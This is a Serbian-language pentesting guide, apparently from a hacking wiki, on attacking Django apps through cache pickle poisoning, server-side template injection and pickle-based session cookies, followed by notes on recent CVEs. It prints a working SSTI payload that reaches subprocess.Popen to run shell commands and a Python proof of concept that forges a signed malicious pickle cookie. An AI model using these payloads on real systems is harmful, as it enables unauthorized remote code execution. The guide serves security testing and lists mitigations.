Django

Manipulacija kešom za RCE

Podrazumevani metod skladištenja keša u Djangou je Python pickles, što može dovesti do RCE ako se nepouzdani ulaz de-pikluje. Ako napadač može dobiti pristup za pisanje u keš, može eskalirati ovu ranjivost na RCE na osnovnom serveru.

Django keš se skladišti na jednom od četiri mesta: Redis, memorija, fajlovi, ili baza podataka. Keš koji se skladišti na Redis serveru ili u bazi podataka su najverovatniji napadni vektori (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.

Ovaj HackerOne izveštaj pruža odličan, ponovljiv primer eksploatacije Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436

Injekcija šablona na serverskoj strani (SSTI)

Django Template Language (DTL) je Turing-kompletan. Ako se podaci koje je dostavio korisnik renderuju kao šablonski string (na primer, pozivanjem Template(user_input).render() ili kada |safe/format_html() uklanja automatsko eskapiranje), napadač može postići pun SSTI → RCE.

Detekcija

1. Tražite dinamičke pozive Template() / Engine.from_string() / render_to_string() koji uključuju bilo koje nefiltrirane podatke iz zahteva.
2. Pošaljite payload zasnovan na vremenu ili aritmetici:

{{7*7}}

Ako renderovani izlaz sadrži 49, ulaz se kompajlira od strane šablonskog engine-a.

Primitiv do RCE

Django blokira direktan pristup __import__, ali je Python objekat graf dostupan:

{{''.__class__.mro()[1].__subclasses__()}}

Pronađite indeks subprocess.Popen (≈400–500 u zavisnosti od Python verzije) i izvršite proizvoljne komande:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Bezbedniji univerzalni uređaj je iterirati dok cls.__name__ == 'Popen'.

Isti uređaj funkcioniše za Debug Toolbar ili Django-CMS funkcije renderovanja šablona koje pogrešno obrađuju korisnički unos.

Pickle-Backed Session Cookie RCE

Ako je podešavanje SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' omogućeno (ili prilagođeni serializer koji deserializuje pickle), Django dekriptuje i unpickles kolačić sesije pre nego što pozove bilo koji kod prikaza. Stoga, posedovanje važećeg ključa za potpisivanje (projekat SECRET_KEY po defaultu) je dovoljno za trenutnu daljinsku izvršavanje koda.

Zahtevi za Eksploataciju

• Server koristi PickleSerializer.
• Napadač zna / može da pogodi settings.SECRET_KEY (curenja putem GitHub-a, .env, stranica sa greškama, itd.).

Dokaz-Koncept

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Pošaljite rezultantni kolačić, a payload se izvršava sa dozvolama WSGI radnika.

Mere zaštite: Držite podrazumevani JSONSerializer, rotirajte SECRET_KEY i konfigurišite SESSION_COOKIE_HTTPONLY.

Nedavne (2023-2025) visoko uticajne Django CVE koje pentesteri treba da provere

• CVE-2025-48432 – Log Injection putem neizbeženog request.path (ispravljeno 4. juna 2025). Omogućava napadačima da prokrijumčare nove linije/ANSI kodove u log fajlove i otrovaju analizu logova nizvodno. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2.
• CVE-2024-42005 – Kritična SQL injekcija u QuerySet.values()/values_list() na JSONField (CVSS 9.8). Kreirajte JSON ključeve da biste izašli iz navodnika i izvršili proizvoljan SQL. Ispravljeno u 4.2.15 / 5.0.8.

Uvek identifikujte tačnu verziju okvira putem X-Frame-Options stranice greške ili /static/admin/css/base.css hash-a i testirajte navedeno gde je primenljivo.

Reference

• Django bezbednosno izdanje – "Django 5.2.2, 5.1.10, 4.2.22 rešava CVE-2025-48432" – 4. jun 2025.
• OP-Innovate: "Django objavljuje bezbednosne ažuriranja za rešavanje SQL injekcije CVE-2024-42005" – 11. avgust 2024.